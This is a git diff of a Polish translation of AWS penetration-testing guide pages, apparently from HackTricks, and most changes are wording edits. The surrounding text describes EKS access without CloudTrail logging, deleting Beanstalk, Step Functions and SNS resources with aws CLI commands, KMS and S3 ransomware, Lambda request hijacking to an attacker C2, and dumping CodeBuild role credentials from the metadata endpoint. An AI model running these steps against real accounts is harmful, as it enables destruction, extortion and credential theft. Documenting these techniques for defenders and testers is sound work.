Jeśli masz uprawnienia **`eks:AccessKubernetesApi`**, możesz **wyświetlać obiekty Kubernetes** za pośrednictwem konsoli AWS EKS ([Dowiedz się więcej](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
@@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Nie tak łatwy sposób:
|
||||
|
||||
Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name <cluster_name>`**, ale nie masz uprawnień do uzyskania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpoint do połączenia** (jeśli udało ci się uzyskać token JWT z podu, przeczytaj [tutaj](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwę klastra**.
|
||||
Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name <cluster_name>`**, ale nie masz uprawnień do uzyskania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpointu do połączenia** (jeśli udało ci się uzyskać token JWT z podu, przeczytaj [tutaj](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwy klastra**.
|
||||
|
||||
W moim przypadku nie znalazłem informacji w logach CloudWatch, ale **znalazłem je w LaunchTemplates userData** oraz w **maszynach EC2 w userData również**. Możesz łatwo zobaczyć te informacje w **userData**, na przykład w następnym przykładzie (nazwa klastra to cluster-name):
|
||||
```bash
|
||||
@@ -72,7 +72,7 @@ provideClusterInfo: false
|
||||
|
||||
### Z AWS do Kubernetes
|
||||
|
||||
**Twórca** **klastra EKS** **ZAWSZE** będzie mógł uzyskać dostęp do części klastra kubernetes w grupie **`system:masters`** (admin k8s). W momencie pisania tego tekstu **nie ma bezpośredniego sposobu** na ustalenie **kto stworzył** klaster (możesz sprawdzić CloudTrail). I **nie ma sposobu** na **usunięcie** tego **przywileju**.
|
||||
**Twórca** **klastra EKS** **ZAWSZE** będzie mógł uzyskać dostęp do części klastra kubernetes **`system:masters`** (admin k8s). W momencie pisania tego tekstu **nie ma bezpośredniego sposobu** na ustalenie **kto stworzył** klaster (możesz sprawdzić CloudTrail). I **nie ma sposobu** na **usunięcie** tego **przywileju**.
|
||||
|
||||
Sposobem na przyznanie **dostępu do K8s dla większej liczby użytkowników lub ról AWS IAM** jest użycie **configmap** **`aws-auth`**.
|
||||
|
||||
@@ -93,7 +93,7 @@ Dekodując token JWT, uzyskujemy identyfikator klastra oraz region.  jak wcześniej wyjaśniono, **`get-token`** nie generuje logów w Cloudtrail, ponieważ nie wchodzi w interakcję z API AWS (po prostu tworzy token lokalnie).
|
||||
Jeśli atakujący uzyska poświadczenia AWS z **uprawnieniami do EKS**. Jeśli atakujący skonfiguruje własny **`kubeconfig`** (bez wywoływania **`update-kubeconfig`**) jak wcześniej wyjaśniono, **`get-token`** nie generuje logów w CloudTrail, ponieważ nie wchodzi w interakcję z API AWS (po prostu tworzy token lokalnie).
|
||||
|
||||
Więc kiedy atakujący rozmawia z klastrem EKS, **cloudtrail nie zarejestruje nic związanego z użytkownikiem, który został skradziony i uzyskuje do niego dostęp**.
|
||||
|
||||
@@ -131,9 +131,9 @@ Zauważ, że **klaster EKS może mieć włączone logi**, które zarejestrują t
|
||||
|
||||
### EKS Okup?
|
||||
|
||||
Domyślnie **użytkownik lub rola, która utworzyła** klaster **ZAWSZE będzie miała uprawnienia administratora** do klastra. I to jedyny "bezpieczny" dostęp, jaki AWS będzie miał do klastra Kubernetes.
|
||||
Domyślnie **użytkownik lub rola, która utworzyła** klaster **ZAWSZE będzie miała uprawnienia administratora** do klastra. I że jedynym "bezpiecznym" dostępem, jaki AWS będzie miał do klastra Kubernetes.
|
||||
|
||||
Więc, jeśli **atakujący przejmie kontrolę nad klastrem używając fargate** i **usunie wszystkich innych administratorów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **zażądać okupu za klaster**~~**r**.
|
||||
Więc, jeśli **atakujący przejmie klaster używając Fargate** i **usunie wszystkich innych administratorów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **zażądać okupu za klaster**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Zauważ, że jeśli klaster używał **maszyn EC2**, możliwe byłoby uzyskanie uprawnień administratora z **Węzła** i odzyskanie klastra.
|
||||
|
||||
+4
-4
@@ -15,7 +15,7 @@ Aby uzyskać więcej informacji:
|
||||
> [!NOTE]
|
||||
> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
|
||||
|
||||
Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplicationVersion` może **usunąć istniejącą wersję aplikacji**. Działanie to może zakłócić procesy wdrażania aplikacji lub spowodować utratę konkretnych wersji aplikacji, jeśli nie są one zabezpieczone.
|
||||
Atakujący z uprawnieniem `elasticbeanstalk:DeleteApplicationVersion` może **usunąć istniejącą wersję aplikacji**. Działanie to może zakłócić procesy wdrażania aplikacji lub spowodować utratę konkretnych wersji aplikacji, jeśli nie są one zabezpieczone.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
@@ -35,9 +35,9 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
|
||||
> TODO: Sprawdzić, czy wymagane są dodatkowe uprawnienia
|
||||
|
||||
Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplication` może **usunąć całą aplikację Elastic Beanstalk**, w tym wszystkie jej wersje i środowiska. Działanie to może spowodować znaczne straty zasobów aplikacji i konfiguracji, jeśli nie są one zabezpieczone.
|
||||
Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplication` może **usunąć całą aplikację Elastic Beanstalk**, w tym wszystkie jej wersje i środowiska. Działanie to może spowodować znaczne straty zasobów aplikacji i konfiguracji, jeśli nie zostały one zabezpieczone.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
@@ -57,7 +57,7 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
|
||||
> TODO: Przetestować, czy wymagane są dodatkowe uprawnienia
|
||||
|
||||
Atakujący z uprawnieniami `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` może **dodawać lub usuwać tagi na zasobach Elastic Beanstalk**. Działanie to może prowadzić do niewłaściwej alokacji zasobów, rozliczeń lub zarządzania zasobami.
|
||||
```bash
|
||||
|
||||
+3
-3
@@ -18,7 +18,7 @@ Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w swoim koncie, moż
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł to zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, to **zapobiega B nadużywaniu A, aby uzyskać dostęp do twojej roli**.
|
||||
Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł go zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, to **zapobiega B nadużywaniu A do uzyskania dostępu do twojej roli**.
|
||||
|
||||
Przykład:
|
||||
```json
|
||||
@@ -62,7 +62,7 @@ Ta polityka **zezwala wszystkim AWS** na przyjęcie roli.
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway do wywołania tego Lambda.
|
||||
Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway do wywołania tej Lambdy.
|
||||
|
||||
#### S3 jako główny
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway d
|
||||
}
|
||||
}
|
||||
```
|
||||
Jeśli kubeł S3 jest podany jako główny, ponieważ kubełki S3 nie mają identyfikatora konta, jeśli **usunąłeś swój kubeł, a atakujący go stworzył** na swoim koncie, mogliby to wykorzystać.
|
||||
Jeśli kubeł S3 jest podany jako główny, ponieważ kubeł S3 nie ma identyfikatora konta, jeśli **usunięto twój kubeł, a atakujący go stworzył** na swoim koncie, to mogliby to wykorzystać.
|
||||
|
||||
#### Nieobsługiwane
|
||||
```json
|
||||
|
||||
+1
-1
@@ -65,7 +65,7 @@ Atakujący z uprzywilejowanym dostępem do KMS mógłby zmodyfikować politykę
|
||||
Wtedy użytkownicy legalnego konta nie będą mogli uzyskać dostępu do żadnych informacji z jakiejkolwiek usługi, która została zaszyfrowana tymi kluczami, tworząc łatwy, ale skuteczny ransomware na koncie.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że **zarządzane przez AWS klucze nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**.
|
||||
> Zauważ, że **klucze zarządzane przez AWS nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**.
|
||||
|
||||
> Zauważ również potrzebę użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli internetowej sprawia, że ten atak jest możliwy tylko z CLI).
|
||||
```bash
|
||||
|
||||
+2
-2
@@ -14,7 +14,7 @@
|
||||
3. **bootstrap.py** ma pętlę, która pobiera wywołania z procesu init i wywołuje kod użytkownika, aby je obsłużyć (**`/next`**).
|
||||
4. Na koniec **bootstrap.py** wysyła do init **odpowiedź**
|
||||
|
||||
Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc każde wykonanie kodu przez kod użytkownika odbywa się w tym procesie.
|
||||
Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc wszelkie wykonania kodu realizowane przez kod użytkownika odbywają się w tym procesie.
|
||||
|
||||
## Kradzież Żądań Lambda
|
||||
|
||||
@@ -26,7 +26,7 @@ To proste zadanie do osiągnięcia, ponieważ kod użytkownika jest wykonywany p
|
||||
- Żądanie musi być wysłane do **`/${invoke-id}/response`**
|
||||
- invoke-id można uzyskać ze stosu legitnego procesu **`bootstrap.py`** za pomocą modułu [**inspect**](https://docs.python.org/3/library/inspect.html) w Pythonie (jak [proponowano tutaj](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) lub po prostu ponownie żądając go do **`/2018-06-01/runtime/invocation/next`** (jak [proponowano tutaj](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Wykonać złośliwy **`boostrap.py`**, który obsłuży następne wywołania
|
||||
- Dla celów ukrycia można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle.
|
||||
- Dla celów stealth można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle.
|
||||
- Do tego ataku wystarczy pobrać oryginalny kod **`bootstrap.py`** z systemu lub [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), dodać złośliwy kod i uruchomić go z bieżącego wywołania lambda.
|
||||
|
||||
### Kroki Ataku
|
||||
|
||||
+1
-1
@@ -21,7 +21,7 @@ Lub **wyeksportuj migawkę do AMI w EC2** i postępuj zgodnie z krokami typowej
|
||||
|
||||
### Uzyskaj dostęp do wrażliwych informacji
|
||||
|
||||
Sprawdź opcje privesc w Lightsail, aby poznać różne sposoby uzyskania dostępu do potencjalnych wrażliwych informacji:
|
||||
Sprawdź opcje privesc Lightsail, aby poznać różne sposoby uzyskania dostępu do potencjalnych wrażliwych informacji:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
|
||||
@@ -21,13 +21,13 @@ Na przykład, **airflow** może przechowywać **kod DAGów** tam, lub **strony i
|
||||
|
||||
### Ransomware S3
|
||||
|
||||
W tym scenariuszu **atakujący tworzy klucz KMS (Key Management Service) w swoim własnym koncie AWS** lub innym skompromitowanym koncie. Następnie udostępnia ten **klucz każdemu na świecie**, umożliwiając każdemu użytkownikowi AWS, roli lub koncie szyfrowanie obiektów za pomocą tego klucza. Jednak obiekty nie mogą być odszyfrowane.
|
||||
W tym scenariuszu **atakujący tworzy klucz KMS (Key Management Service) w swoim własnym koncie AWS** lub innym skompromitowanym koncie. Następnie udostępnia ten **klucz każdemu na świecie**, umożliwiając dowolnemu użytkownikowi AWS, roli lub koncie szyfrowanie obiektów za pomocą tego klucza. Jednak obiekty nie mogą być odszyfrowane.
|
||||
|
||||
Atakujący identyfikuje docelowy **bucket S3 i uzyskuje dostęp na poziomie zapisu** do niego, używając różnych metod. Może to być spowodowane słabą konfiguracją bucketa, która ujawnia go publicznie, lub atakujący uzyskuje dostęp do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety, które zawierają wrażliwe informacje, takie jak dane osobowe (PII), chronione informacje zdrowotne (PHI), logi, kopie zapasowe i inne.
|
||||
Atakujący identyfikuje docelowy **bucket S3 i uzyskuje dostęp na poziomie zapisu** do niego, korzystając z różnych metod. Może to być spowodowane słabą konfiguracją bucketa, która ujawnia go publicznie, lub atakujący uzyskuje dostęp do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety, które zawierają wrażliwe informacje, takie jak dane osobowe (PII), chronione informacje zdrowotne (PHI), logi, kopie zapasowe i inne.
|
||||
|
||||
Aby określić, czy bucket może być celem ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **Wersjonowanie Obiektów S3** jest włączone i czy **usunięcie z uwierzytelnieniem wieloskładnikowym (MFA delete) jest włączone**. Jeśli Wersjonowanie Obiektów nie jest włączone, atakujący może kontynuować. Jeśli Wersjonowanie Obiektów jest włączone, ale MFA delete jest wyłączone, atakujący może **wyłączyć Wersjonowanie Obiektów**. Jeśli zarówno Wersjonowanie Obiektów, jak i MFA delete są włączone, staje się to trudniejsze dla atakującego, aby przeprowadzić ransomware na tym konkretnym buckecie.
|
||||
Aby ustalić, czy bucket może być celem ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **Wersjonowanie Obiektów S3** jest włączone i czy **usunięcie z uwierzytelnieniem wieloskładnikowym (MFA delete) jest włączone**. Jeśli Wersjonowanie Obiektów nie jest włączone, atakujący może kontynuować. Jeśli Wersjonowanie Obiektów jest włączone, ale MFA delete jest wyłączone, atakujący może **wyłączyć Wersjonowanie Obiektów**. Jeśli zarówno Wersjonowanie Obiektów, jak i MFA delete są włączone, staje się to trudniejsze dla atakującego, aby przeprowadzić ransomware na tym konkretnym buckecie.
|
||||
|
||||
Używając API AWS, atakujący **zastępuje każdy obiekt w buckecie zaszyfrowaną kopią za pomocą swojego klucza KMS**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza.
|
||||
Korzystając z API AWS, atakujący **zastępuje każdy obiekt w buckecie zaszyfrowaną kopią przy użyciu swojego klucza KMS**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza.
|
||||
|
||||
Aby wywrzeć dodatkową presję, atakujący planuje usunięcie klucza KMS używanego w ataku. Daje to celowi 7-dniowy okres na odzyskanie danych przed usunięciem klucza i trwałą utratą danych.
|
||||
|
||||
|
||||
+1
-1
@@ -26,7 +26,7 @@ aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Zmień klucz KMS
|
||||
### DoS Zmiana klucza KMS
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
|
||||
+2
-2
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji:
|
||||
|
||||
### Zakłócanie wiadomości
|
||||
|
||||
W wielu przypadkach tematy SNS są używane do wysyłania wiadomości do platform, które są monitorowane (e-maile, wiadomości slack...). Jeśli atakujący uniemożliwi wysyłanie wiadomości, które informują o jego obecności w chmurze, może pozostać niezauważony.
|
||||
W wielu przypadkach tematy SNS są używane do wysyłania wiadomości do platform, które są monitorowane (e-maile, wiadomości slack...). Jeśli atakujący uniemożliwi wysyłanie wiadomości, które ostrzegają o jego obecności w chmurze, może pozostać niezauważony.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
@@ -54,7 +54,7 @@ Napastnik mógłby przyznać nieautoryzowanym użytkownikom lub usługom dostęp
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Potencjalny wpływ**: Nieautoryzowany dostęp do tematu, ujawnienie wiadomości lub manipulacja tematem przez nieautoryzowanych użytkowników lub usługi, zakłócenie normalnego funkcjonowania aplikacji opartych na temacie.
|
||||
**Potencjalny wpływ**: Nieautoryzowany dostęp do tematu, ujawnienie wiadomości lub manipulacja tematem przez nieautoryzowanych użytkowników lub usługi, zakłócenie normalnego funkcjonowania aplikacji polegających na temacie.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
|
||||
+6
-6
@@ -12,13 +12,13 @@ Aby uzyskać więcej informacji na temat tej usługi AWS, sprawdź:
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
To uprawnienie pozwala na **ujawnienie tajnych danych wewnątrz wykonania**. W tym celu należy ustawić poziom inspekcji na TRACE i parametr revealSecrets na true.
|
||||
To uprawnienie pozwala na **ujawnienie tajnych danych wewnątrz wykonania**. W tym celu należy ustawić poziom inspekcji na TRACE oraz parametr revealSecrets na true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Atakujący z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Dodatkowo, umożliwiłoby to atakującemu zatarcie śladów, zakłócenie dochodzeń kryminalistycznych i potencjalnie sparaliżowanie operacji poprzez usunięcie niezbędnych procesów automatyzacji i konfiguracji stanów.
|
||||
Napastnik z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Dodatkowo, umożliwiłoby to napastnikowi zatarcie śladów, zakłócenie dochodzeń kryminalnych i potencjalnie sparaliżowanie operacji poprzez usunięcie niezbędnych procesów automatyzacji i konfiguracji stanów.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania dziecięcych przepływów pracy, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem i liczbą awarii, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, całe uruchomienie mapy zawiedzie, co bezpośrednio wpłynie na wykonanie maszyny stanów i potencjalnie zakłóci krytyczne przepływy pracy.
|
||||
Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania dziecięcych przepływów pracy, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem awarii i liczbą, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, cały przebieg mapy zawiedzie, co bezpośrednio wpłynęłoby na wykonanie maszyny stanów i potencjalnie zakłóciło krytyczne przepływy pracy.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
@@ -45,14 +45,14 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Napastnik z tym uprawnieniem mógłby być w stanie zatrzymać wykonanie dowolnej maszyny stanów, zakłócając trwające przepływy pracy i procesy. Może to prowadzić do niekompletnych transakcji, wstrzymania operacji biznesowych i potencjalnej korupcji danych.
|
||||
Napastnik z tym uprawnieniem mógłby zatrzymać wykonanie dowolnej maszyny stanów, zakłócając trwające przepływy pracy i procesy. Może to prowadzić do niekompletnych transakcji, wstrzymania operacji biznesowych i potencjalnej korupcji danych.
|
||||
|
||||
> [!WARNING]
|
||||
> Ta akcja nie jest wspierana przez **maszyny stanów ekspresowych**.
|
||||
> Ta akcja nie jest wspierana przez **maszyny stanów express**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Potencjalny wpływ**: Zakłócenie bieżących przepływów pracy, przestoje operacyjne i potencjalne uszkodzenie danych.
|
||||
- **Potencjalny wpływ**: Zakłócenie bieżących przepływów pracy, przestoje operacyjne i potencjalna korupcja danych.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
|
||||
+2
-2
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji:
|
||||
|
||||
### Od poświadczeń IAM do konsoli
|
||||
|
||||
Jeśli udało Ci się uzyskać jakieś poświadczenia IAM, możesz być zainteresowany **dostępem do konsoli internetowej** za pomocą następujących narzędzi.\
|
||||
Jeśli udało Ci się uzyskać poświadczenia IAM, możesz być zainteresowany **dostępem do konsoli internetowej** za pomocą następujących narzędzi.\
|
||||
Zauważ, że użytkownik/rola musi mieć uprawnienie **`sts:GetFederationToken`**.
|
||||
|
||||
#### Niestandardowy skrypt
|
||||
@@ -79,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
|
||||
### **Obejście ograniczeń User-Agent z Pythona**
|
||||
|
||||
Jeśli istnieje **ograniczenie dotyczące wykonywania określonych działań w oparciu o używany agent użytkownika** (na przykład ograniczenie użycia biblioteki python boto3 w oparciu o agenta użytkownika), możliwe jest użycie poprzedniej techniki, aby **połączyć się z konsolą internetową za pomocą przeglądarki**, lub możesz bezpośrednio **zmodyfikować agenta użytkownika boto3**, wykonując:
|
||||
Jeśli istnieje **ograniczenie w wykonywaniu określonych działań w oparciu o używany agent użytkownika** (na przykład ograniczenie użycia biblioteki python boto3 w oparciu o agenta użytkownika), możliwe jest użycie poprzedniej techniki, aby **połączyć się z konsolą internetową za pomocą przeglądarki**, lub możesz bezpośrednio **zmodyfikować agenta użytkownika boto3**, wykonując:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
|
||||
+8
-8
@@ -43,7 +43,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu uzyskania przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
|
||||
Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
|
||||
|
||||
Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnienia `UpdateStack`** nad stosem i przeprowadzenia ataku.
|
||||
|
||||
@@ -51,9 +51,9 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Atakujący z uprawnieniami do **przekazywania roli oraz tworzenia i wykonywania ChangeSet** może **tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation** tak jak w przypadku CreateStack lub UpdateStack.
|
||||
Napastnik z uprawnieniami do **przekazywania roli oraz tworzenia i wykonywania ChangeSet** może **tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation** tak jak w przypadku CreateStack lub UpdateStack.
|
||||
|
||||
Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) wykorzystującą **uprawnienia ChangeSet** do stworzenia stosu.
|
||||
Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) używającą **uprawnień ChangeSet** do stworzenia stosu.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -79,17 +79,17 @@ aws cloudformation describe-stacks \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
```
|
||||
Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku.
|
||||
Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **nadania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku.
|
||||
|
||||
**Potencjalny wpływ:** Privesc do ról serwisowych cloudformation.
|
||||
|
||||
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz po prostu **wykorzystać już przypisane**, wystarczy zmodyfikować parametr:
|
||||
To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz po prostu **nadużyć już przypisanych**, wystarczy zmodyfikować parametr:
|
||||
```
|
||||
--change-set-type UPDATE
|
||||
```
|
||||
**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już dołączona.
|
||||
**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już przypisana.
|
||||
|
||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||
|
||||
@@ -99,9 +99,9 @@ Napastnik mógłby nadużyć tych uprawnień, aby tworzyć/aktualizować StackSe
|
||||
|
||||
### `cloudformation:UpdateStackSet`
|
||||
|
||||
Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia dołączonych ról cloudformation.
|
||||
Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia przypisanych ról cloudformation.
|
||||
|
||||
**Potencjalny wpływ:** Privesc do dołączonych ról cloudformation.
|
||||
**Potencjalny wpływ:** Privesc do przypisanych ról cloudformation.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Napastnik mógłby na przykład użyć **szablonu cloudformation**, który generuje **klucze dla użytkownika admin** jak:
|
||||
Atakujący mógłby na przykład użyć **szablonu cloudformation**, który generuje **klucze dla użytkownika admin** jak:
|
||||
```json
|
||||
{
|
||||
"Resources": {
|
||||
|
||||
@@ -137,12 +137,12 @@ aws codebuild start-build --project-name reverse-shell-project
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild.
|
||||
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli AWS Codebuild.
|
||||
|
||||
> [!WARNING]
|
||||
> W **kontenerze Codebuild** plik `/codebuild/output/tmp/env.sh` zawiera wszystkie zmienne środowiskowe potrzebne do uzyskania dostępu do **poświadczeń metadanych**.
|
||||
|
||||
> Ten plik zawiera **zmienną środowiskową `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, która zawiera **ścieżkę URL** do uzyskania dostępu do poświadczeń. Będzie to coś takiego jak `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
> Ten plik zawiera **zmienną środowiskową `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, która zawiera **ścieżkę URL** do uzyskania poświadczeń. Będzie to coś w stylu `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> Dodaj to do URL **`http://169.254.170.2/`** a będziesz mógł zrzucić poświadczenia roli.
|
||||
|
||||
@@ -291,7 +291,7 @@ Dla uzyskania dodatkowych informacji [**sprawdź dokumentację**](https://docs.a
|
||||
|
||||
Atakujący, który może uruchomić/ponownie uruchomić budowę konkretnego projektu CodeBuild, który przechowuje swój plik `buildspec.yml` w wiadrze S3, do którego atakujący ma dostęp do zapisu, może uzyskać wykonanie poleceń w procesie CodeBuild.
|
||||
|
||||
